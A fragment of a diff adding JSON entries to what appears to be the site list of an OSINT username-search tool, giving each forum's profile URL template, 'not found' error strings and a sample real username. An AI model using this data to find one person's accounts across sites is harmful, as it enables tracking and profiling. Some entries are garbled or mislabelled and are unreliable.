"usernameON": "adam", + "bad_site": "" + }, + "Forum_sivatherium": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://skachat-warcraft-3.ru/index/8-0-{}", + "urlMain": "https://skachat-warcraft-3.ru", + "usernameON": "Grandar", + "bad_site": "" + }, + "Forum_skateclass": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://sokrovische.ucoz.ru/index/8-0-{}", + "urlMain": "https://sokrovische.ucoz.ru", + "usernameON": "Visondela", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solana": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.solana.com/u/{}/summary", + "urlMain": "https://forum.solana.com", + "usernameON": "ilian", + "bad_site": "" + }, + "Forum_soligorsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soligorsk-info.ucoz.com/index/8-0-{}", + "urlMain": "https://soligorsk-info.ucoz.com", + "usernameON": "andydudyk", + "bad_site": "" + }, + "Forum_solikamsk1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://solikamsk1.ucoz.org/index/8-0-{}", + "urlMain": "https://solikamsk1.ucoz.org", + "usernameON": "Openair", + "bad_site": "" + }, + "Forum_solnechnyi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solnechnyi.ucoz.ru/index/8-0-{}", + "urlMain": "https://solnechnyi.ucoz.ru", + "usernameON": "eameln07", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solonkino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solonkino.3dn.ru/index/8-0-{}", + "urlMain": "https://solonkino.3dn.ru", + "usernameON": "tasya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solotouch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.solotouch.com/", + "usernameON": "rosco1", + "bad_site": "" + }, + "Forum_solstar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "домен, регистратор, доменные имена", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://solstar.ru/index/8-0-{}", + "urlMain": "http://solstar.ru", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_sonexbuilders": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sonexbuilders.net", + "usernameON": "lakespookie", + "bad_site": "" + }, + "Forum_sony127": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sony127.3dn.ru/index/8-0-{}", + "urlMain": "https://sony127.3dn.ru", + "usernameON": "htaletuauo", + "bad_site": "" + }, + "Forum_sonyalpha": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 Ergebnisse", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.sonyalphaforum.de", + "usernameON": "ger100", + "bad_site": "" + }, + "Forum_sonycam": { + "country": "🇪🇸", + "country_klas": "ES", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sonycam.es/foro/members/?username={}", + "urlMain": "https://www.sonycam.es", + "usernameON": "dano", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_soslujivzi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soslujivzi.ru/index/8-0-{}", + "urlMain": "https://soslujivzi.ru", + "usernameON": "bazy", + "bad_site": "" + }, + "Forum_sosuave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sosuave.net/forum/members/?username={}", + "urlMain": "https://www.sosuave.net", + "usernameON": "theprospect", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sourcepython": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sourcepython.com/", + "usernameON": "Mahi", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_south-tm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://south-tm.clan.su/index/8-0-{}", + "urlMain": "http://south-tm.clan.su", + "usernameON": "Shchedrovnops", + "bad_site": "" + }, + "Forum_sovet-miliziy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sovet-miliziy.narod.ru/index/8-0-{}", + "urlMain": "http://sovet-miliziy.narod.ru", + "usernameON": "Евпатий", + "bad_site": "" + }, + "Forum_sovetskoye": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sovetskoye.ucoz.ru/index/8-0-{}", + "urlMain": "https://sovetskoye.ucoz.ru", + "usernameON": "VikingRUS", + "bad_site": "" + }, + "Forum_sovgavan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://www.sovgavan.ru/index/8-0-{}", + "urlMain": "http://www.sovgavan.ru", + "usernameON": "Titana", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sovpl": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://soyuz-pisatelei.ru/index/8-0-{}", + "urlMain": "https://soyuz-pisatelei.ru", + "usernameON": "Litvin", + "bad_site": "" + }, + "Forum_space": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.space.com/members/?username={}", + "urlMain": "https://forums.space.com", + "usernameON": "helio", + "comments": "Archive", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spacebattles": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.spacebattles.com/members/?username={}", + "urlMain": "https://forums.spacebattles.com", + "usernameON": "lt_ryguy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spanielclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://spanielclub.kamrbb.ru", + "usernameON": "kertezayde", + "bad_site": "" + }, + "Forum_spchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spchat.ru", + "usernameON": "Taniar", + "bad_site": "" + }, + "Forum_spdonetsk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://spdonetsk.ucoz.ua/index/8-0-{}", + "urlMain": "https://spdonetsk.ucoz.ua", + "usernameON": "Alazany", + "bad_site": "" + }, + "Forum_speakev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.speakev.com/members/?username={}", + "urlMain": "https://www.speakev.com", + "usernameON": "nickkk32", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specialstage": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specialstage.com/members/?username={}", + "urlMain": "https://www.specialstage.com", + "usernameON": "ssadmin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specktra": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specktra.net/members/?username={}", + "urlMain": "https://www.specktra.net", + "usernameON": "shellygrrl", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spellbinder": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spellbinder.tv", + "usernameON": "vov2302", + "bad_site": "" + }, + "Forum_spiceworks": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/u/{}", + "urlMain": "https://community.spiceworks.com", + "usernameON": "hulksmash72", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_spinningist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.spinningist.com/index/8-0-{}", + "urlMain": "http://www.spinningist.com", + "usernameON": "Nux", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_spitz-dog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://spitz-dog.ucoz.ru/index/8-0-{}", + "urlMain": "http://spitz-dog.ucoz.ru", + "usernameON": "hieswivay", + "bad_site": "" + }, + "Forum_spoiledmaltese": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spoiledmaltese.com/members/?username={}", + "urlMain": "https://www.spoiledmaltese.com", + "usernameON": "duncanweishaar093", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_spolo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sporeland.ru/index/8-0-{}", + "urlMain": "https://sporeland.ru/", + "usernameON": "ms_Zeys", + "bad_site": "" + }, + "Forum_sport_f": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sport-forums.com/members/?username={}", + "urlMain": "https://www.sport-forums.com", + "usernameON": "bascampt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sportgymnastic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sputnikkey.ru/index/8-0-{}", + "urlMain": "http://sputnikkey.ru", + "usernameON": "alexstvpr", + "bad_site": "" + }, + "Forum_spyro-realms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.spyro-realms.com/index/8-0-{}", + "urlMain": "https://www.spyro-realms.com", + "usernameON": "ftaletoxrf", + "bad_site": "" + }, + "Forum_sqlteam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.sqlteam.com/u/{}/summary", + "urlMain": "https://forums.sqlteam.com", + "usernameON": "waterduck", + "bad_site": "" + }, + "Forum_squarespace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Found 0 results", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}", + "urlMain": "https://svet-unlimited.ucoz.ru", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_svobodavnutri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://svobodavnutri.kamrbb.ru", + "usernameON": "lurdopufye", + "bad_site": "" + }, + "Forum_svoystyle": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svoystyle.ucoz.ru/index/8-0-{}", + "urlMain": "https://svoystyle.ucoz.ru/", + "usernameON": "isaeva3", + "bad_site": "" + }, + "Forum_svstrazh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svstrazh.forum24.ru/?32-{}", + "urlMain": "https://svstrazh.forum24.ru", + "usernameON": "blagimip", + "bad_site": "" + }, + "Forum_svstudio": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svstudio.ucoz.ru/index/8-0-{}", + "urlMain": "https://svstudio.ucoz.ru/", + "usernameON": "sunkid", + "bad_site": "" + }, + "Forum_svvptau": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svvptau.borda.ru/?32-{}", + "urlMain": "https://svvptau.borda.ru", + "usernameON": "sops", + "bad_site": "" + }, + "Forum_swedespeed": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "url": "https://www.swedespeed.com/members/?username={}", + "urlMain": "https://www.swedespeed.com", + "usernameON": "stewart13", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_swift": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "posts\\":[],\\"users\\", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.swift.org/search?q={}&search_type=users", + "urlMain": "https://forums.swift.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_swiftbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.swiftbook.ru/u/{}/summary", + "urlMain": "https://forum.swiftbook.ru", + "usernameON": "green", + "comments": "bad", + "bad_site": 1 + }, + "Forum_swleague": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.swleague.ru/index/8-0-{}", + "urlMain": "http://www.swleague.ru", + "usernameON": "rtalethabg", + "bad_site": "" + }, + "Forum_swoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://swoy.ucoz.ru/index/8-0-{}", + "urlMain": "https://swoy.ucoz.ru", + "usernameON": "Tampy", + "bad_site": "" + }, + "Forum_symerechnaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://symerechnaya.kamrbb.ru/", + "usernameON": "jelmafesti", + "bad_site": "" + }, + "Forum_synfig": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.synfig.org/u/{}/summary", + "urlMain": "https://forums.synfig.org", + "usernameON": "weranimators", + "bad_site": "" + }, + "Forum_synwrite_sourceforge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}", + "urlMain": "https://synwrite.sourceforge.net/", + "usernameON": "SamC", + "bad_site": "" + }, + "Forum_sys-adm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.sys-adm.in/u/{}", + "urlMain": "https://forum.sys-adm.in", + "usernameON": "sysadmin", + "bad_site": 1 + }, + "Forum_szaokprf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://szaokprf.ucoz.ru/index/8-0-{}", + "urlMain": "https://szaokprf.ucoz.ru", + "usernameON": "sapsap", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_t-shirt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.t-shirtforums.com/members/?username={}", + "urlMain": "https://www.t-shirtforums.com", + "usernameON": "tom703", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tachograph": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "urlMain": "http://tachograph.ucoz.ru", + "usernameON": "zokfada", + "bad_site": "" + }, + "Forum_tacticalwargames": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}", + "urlMain": "https://www.tacticalwargames.net", + "usernameON": "MephistonAG", + "bad_site": "" + }, + "Forum_taek": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taek.3dn.ru/index/8-0-{}", + "urlMain": "https://taek.3dn.ru/", + "usernameON": "provzlom", + "bad_site": "" + }, + "Forum_taganrog-stop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taganrog-stop.clan.su/index/8-0-{}", + "urlMain": "https://taganrog-stop.clan.su", + "usernameON": "avtoritetniy", + "bad_site": "" + }, + "Forum_tagheuer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tagheuerforums.com/members/?username={}", + "urlMain": "https://tagheuerforums.com", + "usernameON": "hubert", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tagilshops": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://taipaqi.moy.su/index/8-0-{}", + "urlMain": "https://taipaqi.moy.su", + "usernameON": "lotly", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taksafonchik": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tambov.clan.su/index/8-0-{}", + "urlMain": "https://tambov.clan.su", + "usernameON": "Xando", + "bad_site": "" + }, + "Forum_tanki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Что-то пошло не так", + "errorTyp��": "message", + "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ru.tankiforum.com", + "usernameON": "anmo", + "bad_site": "" + }, + "Forum_tanknet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.tanknet.org", + "usernameON": "bojan", + "bad_site": "" + }, + "Forum_taragorod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taragorod.ru/index/8-0-{}", + "urlMain": "https://taragorod.ru", + "usernameON": "unlockserver", + "bad_site": "" + }, + "Forum_tarjaturunen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}", + "urlMain": "https://tarjaturunen.ucoz.ru", + "usernameON": "timoxa", + "bad_site": "" + }, + "Forum_taro": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.taro.lv", + "usernameON": "Cha", + "bad_site": "" + }, + "Forum_tarokus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tarokus.ru/index/8-0-{}", + "urlMain": "http://tarokus.ru", + "usernameON": "pridorozhniy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_tarot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://tarot.my1.ru/index/8-0-{}", + "urlMain": "http://tarot.my1.ru", + "usernameON": "seklimqwdal", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tarot-siberia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://tarot-siberia.ru/index/8-0-{}", + "urlMain": "https://tarot-siberia.ru", + "usernameON": "Lila", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taruska": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.taruska.ru/index/8-0-{}", + "urlMain": "http://www.taruska.ru", + "usernameON": "kuhni30", + "bad_site": "" + }, + "Forum_tatfish": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tatfish.com", + "usernameON": "Krilov", + "bad_site": "" + }, + "Forum_tathunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.tathunter.ru", + "usernameON": "ramon", + "bad_site": "" + }, + "Forum_tattle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tattle.life/members/?username={}", + "urlMain": "https://tattle.life", + "usernameON": "chita", + "bad_site": "" + }, + "Forum_tauck": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.tauck.com/profile/{}", + "urlMain": "https://forums.tauck.com", + "usernameON": "billzappa", + "bad_site": "" + }, + "Forum_taycan": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanforum.com/forum/members/?username={}", + "urlMain": "https://www.taycanforum.com", + "usernameON": "f1eng", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_taycanev": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.taycanevforum.com/members/?username={}", + "urlMain": "https://www.taycanevforum.com", + "usernameON": "hz1946", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tbrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tbrus.ucoz.ru/index/8-0-{}", + "urlMain": "https://tbrus.ucoz.ru", + "usernameON": "aktotytusipkalieva", + "bad_site": "" + }, + "Forum_tdiclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.tdiclub.com/index.php&members/?username={}", + "urlMain": "https://forums.tdiclub.com", + "usernameON": "matthew16", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_team-pros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://team-pros.3dn.ru/index/8-0-{}", + "urlMain": "https://team-pros.3dn.ru", + "usernameON": "leifwoolned", + "bad_site": "" + }, + "Forum_tebepolezno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tebepolezno.ucoz.ru/index/8-0-{}", + "urlMain": "https://tebepolezno.ucoz.ru", + "usernameON": "Wtgrljya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_techclan_planeta2": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://techclan.planeta2.org/index/8-0-{}", + "urlMain": "http://techclan.planeta2.org", + "usernameON": "youmather", + "bad_site": "" + }, + "Forum_techenclave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://techenclave.com/members/?username={}", + "urlMain": "https://techenclave.com", + "usernameON": "jacob909", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techguy": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techguy.org/members/?username={}", + "urlMain": "https://www.techguy.org", + "usernameON": "novictory", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_techist": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techist.com/forums/members/?username={}", + "urlMain": "https://www.techist.com", + "usernameON": "benefitspils3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_technofino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://technofino.in/community/members/?username={}", + "urlMain": "https://technofino.in", + "usernameON": "abhishek012", 